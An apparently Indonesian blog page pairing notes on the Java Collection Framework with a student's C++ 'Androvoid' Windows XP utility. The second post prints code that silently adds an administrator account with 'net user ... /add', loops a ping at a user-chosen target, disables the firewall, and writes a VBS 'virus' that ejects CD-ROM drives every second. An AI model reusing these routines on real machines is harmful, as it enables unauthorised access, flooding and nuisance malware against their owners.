Showing posts with label Tutorial. Show all posts
Showing posts with label Tutorial. Show all posts


Framework : Koleksi atau kumpulan potongan-potongan program yang disusun atau diorganisasikan sedemikian rupa, sehingga  dapat digunakan untuk membantu membuat aplikasi utuh tanpa harus membuat semua kodenya dari awal.

Framework adalah kumpulan fungsi (libraries), sehingga seorang programmer tidak perlu lagi membuat fungsi-fungsi (biasanya disebut kumpulan library) dari awal, programmer tinggal memanggil kumpulan library atau fungsi yang sudah ada didalam framework, tentunya cara menggunakan fungsi-fungsi itu sudah ditentukan oleh framework.

Collection Framework
Collection Framework adalah arsitektur di Java untuk merepresentasi dan memanipulasi collections.
Meliputi:
Interface: tipe data abstract yang merepresentasikan collections
Implementation: berupa implementasi concrete dari interface yang ada
Algorithm: adalah method yang berguna untuk memanipulasi collections, seperti searching dan shorting
Method ini bersifat polymorphic, karena bisa diterapkan pada implementasi yang berbeda .

Jika array adalah tempat sekumpulan elemen. Maka Collection adalah tempat sekumpulan objek.
Collection : suatu wadah/container yang menapung sekumpulan object.
Java Collection Framework mendukung tiga jenis collections utama, yakni:
              set
              list
              map

JCF Interfaces dan Classes
  Interfaces:
       Collection
       Set (tidak ada duplikasi)
       SortedSet
       List (bisa ada duplikasi)
       Map (mis: Dictionary)
       SortedMap
       Iterator
       Iterable
       ListIterator
  Classes:
       HashSet
       TreeSet
       ArrayList
       LinkedList
       HashMap
       TreeMap

   boolean hasNext();
       untuk memeriksa apakah object berikutnya ada atau tidak
   E next();
       untuk mendapatkan object berikutnya
   void remove();
       dipanggil setelah menjalankan method next()
       menghapus object yang sudah dipanggil dengan next() terakhir
       setelah memanggil next(), tidak bisa menjalankan remove() dua kali, pemanggilan kedua menyebabkan munculnya exception


Interface Collection
  public int size();
       Mengembalikan angka yang merupakan jumlah object dalam collection
  public boolean isEmpty();
       Mengembalikan nilai true bila tidak ada object dalam collection
  public boolean add(E x);
       Untuk memasukkan satu atau beberapa object ke collection. Pengembaliannya adalah true jika berhasil menambah. (beberapa jenis collection tidak mengijinkan duplikasi, sehingga proses add bisa saja gagal)
  public boolean contains(Object x);
       Untuk mengecek bahwa collection yang dimaksud mengandung object x
  public boolean remove(Object x);
       Menghapus sebuah object x dari collection. Kembalian bernilai true, jika ada object yang dihapus
  public Iterator<E> iterator();
       Mengembalikan sebuah iterator yang digunakan untuk menelusuri object di collection

Interface Set
  Set extends collection
       Set menuruni semua method milik Collection
  Set tidak memperbolehkan adanya duplikasi object di koleksinya
       Jika ingin menambah elemen dua kali dengan “add()” maka “add()” yang kedua akan mengembalikan nilai false
  Untuk mengakses object-object di Set, digunakan Iterator
  Representasi Set adalah seperti group, misal group musik, group mata kuliah

Implementasi Set (Concrete Class)
  java.util.HashSet<E>  (merupakan hashtable)
       Constructors:
   public HashSet();
   public HashSet(Collection<? extends E> c);
   public HashSet(int initialCapacity);
   public HashSet(int initialCapacity, float loadFactor);
  java.util.TreeSet<E> (merupakan balance BST)
       Constructors
   public TreeSet();
   public TreeSet(Collection<? extends E> c);
   .............

Interface SortedSet
  SortedSet memiliki fitur yang sama dengan Set, namun object yang tersimpan diurutkan berdasarkan datanya
  SortedSet biasanya dikombinasikan dengan TreeSet
  Efek penggunaan SortedSet, proses penambahan data jadi lebih lambat daripada Set biasa

Interface List
  List extends Collection
  Items/Objects di List dapat diakses menggunakan posisinya / indeksnya
  Method “add()” menambahkan object baru di bagian paling belakang dari list
  List cocok digunakan untuk mengganti Array, dengan ukuran yang dinamis
  Method tambahan yang merupakan tambahan baru dari yg dituruni dari interface Collection
       public E get(int index)
   mengembalikan object di posisi yang ditunjukkan index
       public E set(int index, E x)
   mengganti object di posisi index dengan object x, dan mengembalikan object yang telah diganti
       public void add(int index, E x)
   menambahkan object E ke posisi x, object lama di posisi x sampai posisi terakhir digeser satu posisi ke belakang
       public E remove(int index)
   menghapus object di posisi x, kemudian menggeser di belakang object yang dihapus satu posisi kedepan
   return object yang dihapus
       public int indexOf(Object e)
   Mengembalikan indeks/posisi dari object e

Implementasi List (Concrete Class)
  java.util.ArrayList<E> (representasi array)
       Constructors:
   public ArrayList();
   public ArrayList(int initialCapacity)
   public ArrayList(Collection<? extends E> c);
  java.util.LinkedList<E> (dobel linked list)
       Constructors:
   public LinkedList();
   public LinkedList(Collection<? extends E> c);
  Kedua-duanya memiliki tambahan method yang specifik untuk masing-masing class


Interface Map
  Map digunakan untuk memetakan kunci dan data. Sebagai contoh, kita memiliki suatu katalog buku, kode buku adalah kunci dan object buku adalah datanya
  Kunci di Map tidak dapat diduplikasi
  Tiap kunci hanya menunjuk ke satu object data
  Penggunaan Map biasanya dipadukan dengan class HashMap
  Method yang ada di Map:
  V put(K key, V value);
  untuk menambahkan pasangan kunci dan object
  V get(Object key);
  untuk mendapatkan object berdasarkan kunci tertentu
  V remove(Object key);
  untuk menghapus object berdasarkan kunci tertentu
  boolean containsKey(Object key);
  memeriksa apakan map memiliki kunci tertentu
  boolean containsValue(Object value);
  memeriksa apakah map memiliki object tertentu
  int size();
  mendapatkan jumlah key di map
  public Set<K> keySet();
  mendapatkan keseluruhan key yang berupa Set
  public Collection<V> values();
  mendapatkan keseluruhan object data yang berupa collection

Implementasi Map
  java.util.HashMap<K,V>
       Constructors:
   public HashMap<K,V>();
   public HashMap<K,V>(int initialCapacity)
   public HashMap<K,V>(Collection<? extends E> c);
  java.util.TreeMap<K,V>
       Constructors:
   public TreeMap<K,V>();
   public LinkedList<K,V>(Collection<? extends E> c);
  Kedua-duanya memiliki tambahan method yang specifik untuk masing-masing class



Java Collection Framework


           _________________________  ___________                         
          |                         ||\_________/|                       
          |  ANDROVOID USER GUIDE   ||[#########]|                      
          |_________________________||    ___    |     _  |||||            
                                     |___________|     \_\|||||         
                           ____ _____ _|=======|_ _____ \_/___/         
                          /__  ||   ||           ||   || |_   |          
                          |  | ||===|| ANDROVOID ||===|| |_   |           
                          |__| ||===||===========||===|| |_   |           
                           \___||___||___________||___||_|____|         

                   \\\|/// \_:_:_:_:_:_/        \__/

Hola, kali ini saya mau share tentang tugas besar C++ saya pas semester 1 dulu. Saya membuat sebuah program dimana program tersebut dapat digunakan untuk berbagai macam fungsi pada sistem Windows XP. Fungsi fungsi tersebut diantaranya Hacking System, Optimazing Security, dan Maintenance.


Pada tampilan utama, anda akan disuguhkan daftar menu utama, yaitu My Androvoid, Killer Machine, Security, Utilities dan Exit.



Pada menu Androvoid, anda akan diajak berkenalan oleh robot utama "Androvoid" dan robot tersebut akan mengucapkan kata-kata. Untuk fungsi pengucapan kata-kata tersebut, saya hanya menggunakan teknik text-to-speech


Kemudia pada menu Killer Machine, berikut ini saya sertakan fungsi-fungsi yang digunakan sesuai dengan daftar menu diatas

Hack this System


ketika option Attack digunakan, maka wallpaper pada desktop akan berubah dan user baru dengan nama androvoid akan otomatis ditambahkan.

berikut source code yang saya gunakan:

if(pilih_menu==1) {   
      BYTE  original_wallpaper[256];
    menu_hackthis:
         system("CLS");
         hack_this();
         timebar();sleep(1);
    printf("   Pilih: ");scanf("%d",&pilih_submenu);
         if(pilih_submenu==1) {
          reg_baca_value("Control Panel\\Desktop","Wallpaper",original_wallpaper); //backup wallpaper original
          copy_file("hack\\woops.bmp","C:\\woops.bmp"); //fungsi copy file
            hidden("C:\\woops.bmp"); //menyembunyikan (hidden) file
            SystemParametersInfo( SPI_SETDESKWALLPAPER, 0, (PVOID)"C:\\woops.bmp", SPIF_UPDATEINIFILE ); //ganti wallpaper
            system("net user Androvoid pass123 /add");
            system("net localgroup Administrators Androvoid passw123 /add");
            system("CLS");
            hack_this();
          timebar();
            printf(" Wallpaper has changed and New Admin account was created ! ");
            getch();
         }
         else if(pilih_submenu==2) {
          SystemParametersInfo( SPI_SETDESKWALLPAPER, 0, (PVOID)original_wallpaper, SPIF_UPDATEINIFILE ); //ganti wallpaper
            system("net user Androvoid /del");
            system("CLS");
            hack_this();
          timebar();
          printf(" System Restored.");
            getch();
            }
         else if(pilih_submenu==3)
          goto menu_killer;
         else
          disunderstand();
         goto menu_hackthis;
    }
}


Ping Of Death
Ketika fungsi ini dijalankan, maka akan muncul ping dengan jumlah buffer serta proses sesuai dengan kehendak user

source code:
char ping_of_death[10],target[256],buffer[256];
      int jml_ping;
      killer_machine(6);timebar();
      printf("  Masukkan target: ");scanf("%s",target);
      system("CLS");
      killer_machine(6);timebar();
      printf("  Masukkan jumlah buffer: ");scanf("%s",buffer);
      strcat(buffer," ");system("CLS");
      killer_machine(6);timebar();
      printf("  Jumlah proses Ping: ");scanf("%d",&jml_ping);
      strcpy(ping_of_death,"ping -l ");
      strcat(ping_of_death,buffer);strcat(ping_of_death,target);
      for(int ping_loop=1;ping_loop<=jml_ping;ping_loop++) {
      system(ping_of_death);
         }
      getch();

Virus Maker
pada funsi virus maker ini saya sudah menyediakan script vbs pada folder virus. Saya hanya mengcopy file tersebut lalu menjalankannya. Ketika script tersebut dijalankan, maka cdrom akan selalu terbuka setiap 1 detik

DeleteFile("virus.vbs"); DeleteFile("virus/virus.vbs");//hapus file jika sudah ada
      system("mkdir virus");
      //-------------------------- source code virus Rock'in CD-ROM ------------------------------------------
cetak_text("virus.vbs","a","MsgBox \"Androvoid virus has rock 'in this system\",0+16,\"Warning\" \n");
cetak_text("virus.vbs","a","Set oWMP = CreateObject(\"WMPlayer.OCX.7\") \n Set colCDROMs = oWMP.cdromCollection \n");
cetak_text("virus.vbs","a","do \n if colCDROMs.Count >= 1 then \n");
cetak_text("virus.vbs","a","For i = 0 to colCDROMs.Count - 1 \n colCDROMs.Item(i).Eject \n Next \n");
cetak_text("virus.vbs","a","For i = 0 to colCDROMs.Count - 1 \n colCDROMs.Item(i).Eject \n");
cetak_text("virus.vbs","a","Next \n End If \n wscript.sleep 1000 \n loop");
      //------------------------------------------------------------------------------------------------------
      MoveFile("virus.vbs","virus/virus.vbs");
      system("CLS");killer_machine(6);timebar();
      printf("    virus already created !");
      getch();

Vaksin Maker
fungsi ini merupakan lawan dari virus maker
 DeleteFile("vaksin.vbs"); DeleteFile("vaksin/vaksin.vbs");//hapus file jika sudah ada
      system("mkdir vaksin");
      //-------------------------- source code vaksin for virus Rock'in CD-ROM ------------------------------------------
cetak_text("vaksin.vbs","a","Option Explicit \nDim objWMIService, objProcess, colProcess \n");
cetak_text("vaksin.vbs","a","Dim strComputer, strProcessKill \nstrComputer = \".\" \nstrProcessKill = \"'wscript.exe'\" \n");
cetak_text("vaksin.vbs","a","msgbox \"Androvoid virus was terminated\",0+64,\"Androvoid Vaksin\" \n");
cetak_text("vaksin.vbs","a","Set objWMIService = GetObject(\"winmgmts:\" _ \n");
cetak_text("vaksin.vbs","a","& \"{impersonationLevel=impersonate}!\\\\\" _\n& strComputer & \"\\root\\cimv2\") \n");
cetak_text("vaksin.vbs","a","Set colProcess = objWMIService.ExecQuery _\n");
cetak_text("vaksin.vbs","a","(\"Select * from Win32_Process Where Name = \" & strProcessKill )\n");
cetak_text("vaksin.vbs","a","For Each objProcess in colProcess\n objProcess.Terminate()\n Next\n");
cetak_text("vaksin.vbs","a","WSCript.Echo \"Virus Androvoid Terminated \" & strProcessKill _\n");
cetak_text("vaksin.vbs","a","& \" by : ahmed yusuf\" & strComputer\n WScript.Quit\n ' End\n");
      //------------------------------------------------------------------------------------------------------
      MoveFile("vaksin.vbs","vaksin/vaksin.vbs");
      system("CLS");killer_machine(6);timebar();
      printf("    vaksin already created !");
      getch();


Security Menu
Pada menu ini kita dapat maintenance keamanan sistem seperti proteksi firewall, dan sebagainya.


Proteksi Firewall
Untuk proteksi firewall, saya hanya mengaktifkan firewall system secara default. funsi ini saya aktifkan melalui System Registry



source code:
if(pilih_submenu==1) {
          system("CLS");
            security_firewall();timebar();
      printf("   enable firewall . . .");
          system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile /v EnableFirewall /t REG_DWORD /d 0000001 /f ");
            getch();
            }
         else if(pilih_submenu==2) {
          system("CLS");
            security_firewall();timebar();
      printf("   disable firewall . . .");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile /v EnableFirewall /t REG_DWORD /d 0000000 /f ");
            getch();
            }

Perkuat TCP/IP Attack
sama seperti sebelumnya, pada fungsi ini saya juga hanya memanfaatkan RegEdit

char lpSubKey[256];
        strcpy(lpSubKey,"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters");
      submenu_tcp:
      system("CLS");
        security_tcp();
        timebar();
    printf("   Pilih: ");scanf("%d",&pilih_submenu);
         if(pilih_submenu==1) {
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnableDeadGWDetect /t REG_DWORD /d 0 /f ");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnableICMPRedirect /t REG_DWORD /d 0 /f ");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnablePMTUDiscovery /t REG_DWORD /d 0 /f ");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v KeepAliveTime /t REG_DWORD /d 300000 /f ");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v NoNameReleaseOnDemand /t REG_DWORD /d 1 /f ");
            system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v SynAttackProtect /t REG_DWORD /d 2 /f ");
            system("CLS");
          security_tcp();timebar();
          printf("   TCP/IP Stack Hardening Actived");
            getch();
            }
         else if(pilih_submenu==2) {
          reg_hapus_value(lpSubKey,"EnableDeadGWDetect");
          reg_hapus_value(lpSubKey,"EnableICMPRedirect");
          reg_hapus_value(lpSubKey,"EnablePMTUDiscovery");
          reg_hapus_value(lpSubKey,"KeepAliveTime");
          reg_hapus_value(lpSubKey,"NoNameReleaseOnDemand");
          reg_hapus_value(lpSubKey,"SynAttackProtect");
          system("CLS");
          security_tcp();timebar();
          printf("   TCP/IP Stack Hardening Disabled");
            getch();

            }

Malware Monitoring
untuk monitoring malware, disini saya hanya menggunakan fungsi netstat untuk mengetahui aktifitas jaringan

printf("   Start monitoring program yang menggunakan koneksi\n");
printf("   [log disimpan dalam ""LOG/netstat.txt"". Tekan sembarang tombol untuk berhenti] \n");
system("netstat -b 0 >> LOG/netstat.txt");
getch();

Blokir Spam

char lpSubKey[256];
        strcpy(lpSubKey,"SYSTEM\\CurrentControlSet\\Services\\Messenger");
      submenu_spamblock:
      system("CLS");
        security_spamblock();timebar();
    printf("   Pilih: ");scanf("%d",&pilih_submenu);
         if(pilih_submenu==1) {
          system(" REG add HKLM\\SYSTEM\\CurrentControlSet\\Services\\Messenger /v Start /t REG_DWORD /d 4 /f ");
system("CLS");
security_spamblock();timebar();
          printf("   Aktifkan Blokir SPAM Pada Messenger Service \n");
            getch();
            }
         else if(pilih_submenu==2) {
          system(" REG add HKLM\\SYSTEM\\CurrentControlSet\\Services\\Messenger /v Start /t REG_DWORD /d 0 /f ");
system("CLS");
security_spamblock();timebar();
          printf("   Blokir SPAM Pada Messenger Service akan dihentikan \n");
            getch();

            }

Utilites
Pada menu utilites ini, anda dapat melakukan maintenance windows.



 asas

Androvoid - Tugas Besar C++